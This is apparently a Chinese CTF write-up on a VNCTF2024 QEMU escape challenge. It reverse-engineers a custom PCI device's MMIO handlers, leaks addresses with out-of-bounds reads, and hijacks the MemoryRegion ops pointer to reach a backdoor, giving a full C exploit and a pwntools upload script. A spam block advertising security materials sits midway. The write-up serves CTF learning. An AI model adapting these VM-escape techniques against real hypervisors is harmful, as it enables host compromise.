從 VNCTF2024 的一道題學習QEMU Escape

說在前面

本文的草稿是邊打邊學邊寫出來的,文章思路會與一個“剛打完用戶態 pwn 題就去打 QEMU Escape ”的人的思路相似,在分析結束以後我又在部分比較模糊的地方加入了一些補充,因此閱讀起來可能會相對輕鬆。(當然也不排除這是我自以爲是)

題目 github 倉庫

[1] 題目分析流程

[1-1] 啓動文件分析

讀 Dockerfile,瞭解到它在搭起環境以後啓動了start.sh

再讀 start.sh,瞭解到它啓動了 xinetd 程序

再讀 xinetd,這個程序的主要作用是監聽指定 port,並根據預先定義好的配置來啓動相應服務。可以看到 server_args 處啓動了 run.sh

再讀 run.sh,發現它用 QEMU 起了一個程序,通過 -device vn 我們可以知道 vn 是作爲 QEMU 中的一個 pci設備 存在的。

通過 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟進調用 字符串vn_instance_init 的 函數vn_instance_init,再按 x 查看 函數vn_instance_init 的引用,可以看到下面還有一個 vn_class_init ,反彙編後看到

__int64 __fastcall vn_class_init(__int64 a1)
{
  __int64 result; // rax
​
  result = PCI_DEVICE_CLASS_23(a1);
  *(_QWORD *)(result + 176) = pci_vn_realize;
  *(_QWORD *)(result + 184) = 0LL;
  *(_WORD *)(result + 208) = 0x1234; // 廠商ID (Vendor ID)
  *(_WORD *)(result + 210) = 0x2024; // 設備ID (Device ID)
  *(_BYTE *)(result + 212) = 0x10;
  *(_WORD *)(result + 214) = 0xFF;
  return result;
}

通過廠商ID和設備ID,我們可以判斷下列 pci 設備中 00:04.0 Class 00ff: 1234:2024 就是我們要找的 vn

/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

進而去/sys/devices/pci0000:00/0000:00:04.0 目錄查看該設備 mmio 與 pmio 的註冊情況

/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r--    1 0        0             4096 Feb 18 12:18 resource
-rw-------    1 0        0             4096 Feb 18 12:18 resource0
...
...

有了 resource0 這個文件,我們就可以在exp裏 mmap 做虛擬地址映射。

並且我們可以看到 vn 這個設備只註冊了 mmio,那就考慮用 mmio攻擊(點擊這裏瞭解 mmio 運行原理)

[1-2] 靜態分析

如果我寫的不夠清楚,讀者可以參考 blizzardCTF 裏的 strng這一實現,讀完這段代碼會對 pci 設備的瞭解提升一個臺階。

我們先補充一些概念:

QEMU 提供了一套完整的模擬硬件給 QEMU 上的 kernel 來使用,而 -device 參數爲 kernel 提供了模擬的 pci 設備。

如果 kernel 實現了類似 linux 的 rootfs,我們就可以通過 lspci 來查看相關 pci,並在/sys/devices/...找到 pci 設備啓動時 kernel 分配給 pci 的資源,也就是 resource0 等,這也是前文提到過的。

resource0 可以看作是一大片開關,當我們修改 resource0 中的內容時,可以看做對應開關被啓動,pci設備也隨着開關的啓動而變化,具體表現爲“控制寄存器、狀態寄存器以及設備內部的內存區域 隨着 resource0 的變化而變化”

所以我們可以 open resource0 這個文件,用 mmap 映射它,從而使我們能夠在C代碼中對 resource0 這片內存進行修改

可是由於 QEMU 也只不過是一個程序,虛擬的 pci 設備意味着,一定有一片內存存儲着 pci 相關的數據

關於 pci 存儲數據的這一部分好像就涉及 QOM 了,還沒太搞懂,總之跟pci_xx_realize, xx_class_init, xx_instance_init 等函數有關

假設我們的調用鏈是這樣的: 
docker -> QEMU -> exp
​
則 docker 會讓 QEMU 誤以爲自己佔據全部內存空間,QEMU 會讓 exp 認爲自己佔據全部內存空間
​
而 QEMU 的 pci 設備的 MemoryRegion 就存儲在 QEMU 的堆區上,我們在程序 exp 中讀寫 resource0,就相當於操控 vn_mmio_read 和 vn_mmio_write 去讀寫 QEMU 的堆區,如果我們正好修改到 MemoryRegion 的 xx_mmio_ops 指針,就可以劫持控制流。

那麼,接下來我們要做的事情就是去讀一下 vn_mmio_read 和 vn_mmio_write 的反彙編,瞭解怎樣讀寫堆區內容。

oNxdA.md.png

由於對 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大體邏輯是

  • object_dynamic_cast_assert是動態類型轉換,我OOP學的很爛所以不清楚這是什麼😭,猜測是申請一塊堆的地址然後用 ptr 指向這塊地址

  • ①如果 op == 0x30 且 ptr[737] == 0

    • ptr[ ptr[736]/8 + 720 ] = var,並將 ptr[737] 設置爲1

  • ②如果 op == 0x10 且 var < 0x3C

    • ptr[736] = var

    • 這裏可以用負數來上溢,從而可以讀很大一片空間的內容

  • ③如果 op == 0x20 且 var 的高32位 < 0x3C

    • ptr[ HIDWORD(var) + 720 ] = (LODWORD)var

同理 vn_mmio_read 也可以分析出來。

下面是我調試代碼時畫的草圖,讀者可以等看完“[2] 動態調試”部分以後再回來看這張圖,個人認爲這樣的圖對理解程序非常有幫助

通過分析我們可以得知,vn_mmio_write可以實現一些越界寫,同理分析 vn_mmio_read 我們可以得知,令可以實現一些越界讀,根據反彙編我們可以定製一下這道題的 mmio_read

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_base + addr)) = value;
}
​
uint32_t mmio_read(uint64_t addr)
{
    return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
    uint64_t val = value + (idx << 32);
    mmio_write(0x20,val);
}

通過 Shift + F12 查/bin/sh可以跟進到這道題的後門函數0x67429B,我們需要跳轉到這裏去執行execv("/bin/sh");

現在我們知道了怎樣讀寫堆區,也知道寫入什麼東西。但我們不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 會啓動 pie,我們需要繞過 pie 才能利用後門函數。

所以我們就先讀一些內容,看看附近有沒有什麼能利用的東西。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

[2] 動態調試

接下來我們需要用 docker 調試 qemu,這裏記錄一下

# 注: 如果已經提前 docker-compose 好了,則可以直接通過 docker cp 來修改內部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file
​
# 首先將 exp.c 靜態編譯爲二進制文件
gcc exp.c --static -o exp
​
# 然後解包 rootfs.cpio,參考https://www.jianshu.com/p/f08e34cf08ad 的“調試”部分
hen rootfs.cpio
​
# 將 exp 放入 /core/usr/bin 中
​
# 重新打包 roortfs.cpio
gen rootfs.cpio
​
# 修改 run.sh 
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
#     -L ./pc-bios \
#     -m 128M \
#     -append "tsc=unstable console=ttyS0" \
#     -kernel bzImage \
#     -initrd rootfs.cpio \
#     -device vn \
#     -nographic \
#     -no-reboot \
#     -monitor /dev/null \
​
# 修改 Dockerfile,在創建容器時安裝 qemu-system-x86 gdb,這一步其實在 容器的shell裏也能install,可以跳過
vim Dockerfile # 下面內容只是 RUN 部分,其他部分不動
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
#     apt-get update && apt-get -y dist-upgrade && \
#     apt-get install -y lib32z1 xinetd \
#                        libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
#                        libfdt-dev libnuma-dev libglib2.0-dev \
#                        libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb
​
# build 與 啓動容器
docker-compose build
docker start vnctf
​
# 啓動tmux,分頁記爲 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash
​
# pane2:
docker exec -ti vnctf /bin/bash
​
# pane1:
./run.sh # 這裏運行以後應該是什麼也不會出現
​
# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 這一步獲取 qemu 的進程號PID,用於 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c     # 輸入完以後看一眼 pane1,如果qemu啓動了就等qemu啓動
            # 如果沒啓動就繼續輸入 (gdb) c
​
# pane1:
# 此時 QEMU 正常運行,我們可以在裏面輸入一些命令比如ls等查看
cd /usr/bin # 這裏是前面解包後的時候 exp 放入的文件夾
./exp
​
# pane2:
# 此時就可以開始調試了

現在程序正常運行了,我們開始查看讀出來的東西有沒有什麼是能利用的

int main(int argc, char const *argv[])
{
    uint32_t catflag_addr = 0x6E65F9;
​
    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);
    
    uint64_t test_low,test_high,test;
    for(int i=-1;i>=-30;i--) {
        mmio_write(0x10, i*0x8);
        test_low = mmio_read(0x20);
        mmio_write(0x10, i*0x8 + 0x4);
        test_high = mmio_read(0x20);
        test = test_low + (test_high << 32);
        printf("test%d = 0x%llx\n", -i, test);
        getchar();
    }
}
​
/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/

我們逐個地址 x/2gx 一下,最終發現這幾個比較有意思的地方

PIE

(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3      0xf3c35d90f87d8948

我們在 IDA 中是能搜到這個函數的,它在 QEMU 裏的偏移量是 0x82B35B,通過這個我們就可以計算出 docker 加載 QEMU 時的基地址了

heap & MemoryRegion

(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>:   0x000055da252d3458      0x000055da252d3502

我們找到了需要的 ops,test24 存的就是 0x55da25dd01e0

所以我們有如下對應關係:

ptr[-24 + 720] -> 0x55da25dd01e0

那很自然的我們就想到,ptr的其他地方存着什麼?這附近是不是就是 MemoryRegion?可是我們並沒有 (&ptr[-24 + 720]),但我們知道的是 MemoryRegion 存在堆裏,所以我們考慮用 find 命令查找(看起來像堆地址的)堆地址附近查找 0x55da25dd01e0 這個值就行

最終我們用到的是 test23 -> 0x55da2812e470

// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.

因此我們知道 0x55da2812eef0 存放着我們需要的 0x55da25dd01e0

觀察發現這個地址跟我們的 test10 非常近,可以計算一下

(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 =  0x55da2812ef58 - 0x68 = test10 - 0x68

而我們打印一下更多附近的值,可以看到

(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840      0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00      0x0000000000000001
0x55da2812eec0: 0x000055da2812e470      0x0000000000000001
0x55da2812eed0: 0x0000000000000000      0x0000000000000000
0x55da2812eee0: 0x000055da2812e470      0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0      0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0      0x0000000000000000
0x55da2812ef10: 0x0000000000001000      0x0000000000000000
0x55da2812ef20: 0x00000000febf1000      0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000      0x0000000000010001
0x55da2812ef40: 0x0000000000000000      0x0000000000000000
0x55da2812ef50: 0x0000000000000001      0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58      0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98      0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78      0x000055da28130f00
0x55da2812ef90: 0x0000000000000000      0x0000000000000000
0x55da2812efa0: 0x0000000000000000      0x0000000000000000
0x55da2812efb0: 0x0000000000000000      0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000      0x0000000000000000
0x55da2812efd0: 0x0000000000000000      0x0000000000000000
0x55da2812efe0: 0x0000000000000000      0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c      0x0000000000000000
0x55da2812f000: 0x0000000000000000      0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0      0x000055da273b01d0
0x55da2812f020: 0x0000000000000000      0x000055da25725d5f
0x55da2812f030: 0x0000000000000000      0x000055da25725de1

我們回到 ctf-wiki-QEMU 裏查看一下 MemoryRegion

struct MemoryRegion {
    Object parent_obj;
​
    /* private: */
​
    /* The following fields should fit in a cache line */
    bool romd_mode;
    bool ram;
    bool subpage;
    bool readonly; /* For RAM regions */
    bool nonvolatile;
    bool rom_device;
    bool flush_coalesced_mmio;
    bool global_locking;
    uint8_t dirty_log_mask;
    bool is_iommu;
    RAMBlock *ram_block;
    Object *owner;
​
    const MemoryRegionOps *ops;
    void *opaque;
    MemoryRegion *container;    // 指向父 MemoryRegion
    Int128 size;    // 內存區域大小
    hwaddr addr;    // 在父 MR 中的偏移量
    void (*destructor)(MemoryRegion *mr);
    uint64_t align;
    bool terminates;
    bool ram_device;
    bool enabled;
    bool warning_printed; /* For reservations */
    uint8_t vga_logging_count;
    MemoryRegion *alias;    // 僅在 alias MR 中,指向實際的 MR
    hwaddr alias_offset;
    int32_t priority;
    QTAILQ_HEAD(, MemoryRegion) subregions;
    QTAILQ_ENTRY(MemoryRegion) subregions_link;
    QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
    const char *name;
    unsigned ioeventfd_nb;
    MemoryRegionIoeventfd *ioeventfds;
};

假設我們把 test24 看作上面結構體的 const MemoryRegionOps *ops;

0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 這裏不知道是什麼😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0 
0x55da2812efb0: 0x0000000000000000 -> 可以看到這裏有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我們可以把控制流劫持的指針
0x55da2812efc0: 0x0000000000000000 -> 放在這一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000

我們可以看到這就是 MemoryRegion,當我們修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值爲 0x55da2812efb8(&test0 + 8),我們就可以在執行 vn_mmio_read 和 vn_mmio_write 時去執行 0x55da2812efb8 指向的函數

所以我們考慮這樣的佈置:

0x55da2812eef0(&test24)   -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 後門函數0x67429B

[3] 完整 EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
​
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
​
// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)
​
​
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
​
unsigned char* mmio_base;
​
unsigned char* getMMIOBase(){
​
    int fd;
    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
        perror("open pci device");
        exit(-1);
    }
    mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
    if(mmio_base == (void *) -1) {
        perror("mmap");
        exit(-1);
    }
    return mmio_base;
}
​
void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_base + addr)) = value;
}
​
uint32_t mmio_read(uint64_t addr)
{
    return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
    uint64_t val = value + (idx << 32);
    mmio_write(0x20,val);
}
​
int main(int argc, char const *argv[])
{
    uint32_t catflag_addr = 0x6E65F9;
​
    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);
    
    mmio_write(0x10, -17*0x8);
    uint64_t pie_low = mmio_read(0x20);
    mmio_write(0x10, -17*0x8 + 0x4);
    uint64_t pie_high = mmio_read(0x20);
    uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
    printf("pie = 0x%llx\n", pie);
    getchar();
    mmio_write(0x10, -10*0x8);
    uint64_t heap_low = mmio_read(0x20);
    mmio_write(0x10, -10*0x8 + 0x4);
    uint64_t heap_high = mmio_read(0x20);
    uint64_t heap = heap_low + (heap_high << 32);
    printf("heap = 0x%llx\n", heap);
    uint64_t backdoor = pie + 0x67429B;
    uint64_t system_plt_addr = heap + 0x60 + 8;
    uint64_t cmdaddr = heap + 0x58 + 8;
    getchar();
    mmio_write_idx(8,0x20746163);
    mmio_write_idx(12,0x67616C66);
    mmio_write_idx(16,backdoor & 0xffffffff);
    mmio_write_idx(20,backdoor >> 32);
    mmio_write_idx(24,system_plt_addr & 0xffffffff);
    mmio_write_idx(28,system_plt_addr >> 32);
    mmio_write_idx(32,cmdaddr & 0xffffffff);
    mmio_write_idx(36,cmdaddr >> 32);
    getchar();
    for(int i = 40;i <= 60 ;i += 4 )
    {
        mmio_write_idx(i,0);
    }
    getchar();
    mmio_write(0x10,-0xc0);
    getchar();
    mmio_write(0x30,system_plt_addr);
    getchar();
    mmio_read(0);
    return 0;
}

[4] exp.c 如何食用?

# exp.py
from pwn import *
import time, os
context.log_level = "debug"
​
p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")
​
f = open("./b64_exp", "r")
​
p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")
​
count = 1
while True:
    print('now line: ' + str(count))
    line = f.readline().replace("\n","")
    if len(line)<=0:
        break
    cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
    p.sendline(cmd) # send lines
    #time.sleep(0.02)
    #p.recv()
    p.recvuntil("~ #")
    count += 1
f.close()
​
p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

[5] 結語

本來以爲 QEMU 是我走向內核態的第一步,但當我用 gdb 把它調起來的時候才發現,QEMU 也只是操作系統上的一個程序,跟我們平時打的用戶態區別不大,也是 leak 然後劫持控制流去 getshell

但虛擬化和QEMU知識的缺失也讓我“架空學習”,勿以浮沙築高臺,有時間還是要回過頭來把基礎築牢的,現在對這道題理解的抽象程度還是太高了,應該繼續打開它、研究它。

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章